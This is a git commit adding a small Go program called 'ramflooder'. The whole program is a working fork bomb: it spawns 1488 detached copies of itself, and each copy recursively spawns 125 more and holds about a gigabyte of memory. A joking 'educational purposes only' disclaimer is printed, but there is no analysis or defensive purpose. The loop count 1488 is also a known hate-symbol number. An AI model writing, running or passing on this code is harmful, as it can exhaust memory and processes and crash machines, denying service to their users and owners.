commit 2c86a0af33568a16459621d942b8c43ffcc42d0d Author: Lain Iwakura Date: Sun Aug 24 19:50:46 2025 +0300 lol diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..79e88b6 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +ramflooder \ No newline at end of file diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..e06f9df --- /dev/null +++ b/go.mod @@ -0,0 +1,3 @@ +module ramflooder + +go 1.25.0 diff --git a/main.go b/main.go new file mode 100644 index 0000000..55dc564 --- /dev/null +++ b/main.go @@ -0,0 +1,60 @@ +package main + +import ( + "fmt" + "os" + "os/exec" + "syscall" +) + +func childProcess() { + go func() { + for i := 0; i < 125; i++ { + cmd := exec.Command(os.Args[0], "child") + cmd.SysProcAttr = &syscall.SysProcAttr{ + Setpgid: true, + } + if err := cmd.Start(); err != nil { + fmt.Fprintf(os.Stderr, "lol wtf %v\n", err) + } else { + cmd.Process.Release() + } + } + }() + + data := make([]byte, 1024*1024*1000) + for i := range data { + data[i] = byte(i % 255) + } + + select {} +} + +func main() { + if len(os.Args) > 1 && os.Args[1] == "child" { + childProcess() + return + } + + fmt.Println("WARNING: This tool is intended for educational purposes only.") + fmt.Println("The author is not responsible for your actions!!~ (just have fun)") + fmt.Println("-----------------------------------------------------------------") + + pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0) + if pid == 0 { + for i := 0; i < 1488; i++ { + cmd := exec.Command(os.Args[0], "child") + cmd.SysProcAttr = &syscall.SysProcAttr{ + Setpgid: true, + } + if err := cmd.Start(); err != nil { + fmt.Fprintf(os.Stderr, "lol wtf %d: %v\n", i+1, err) + continue + } + cmd.Process.Release() + } + os.Exit(0) + } else { + os.Exit(0) + } +}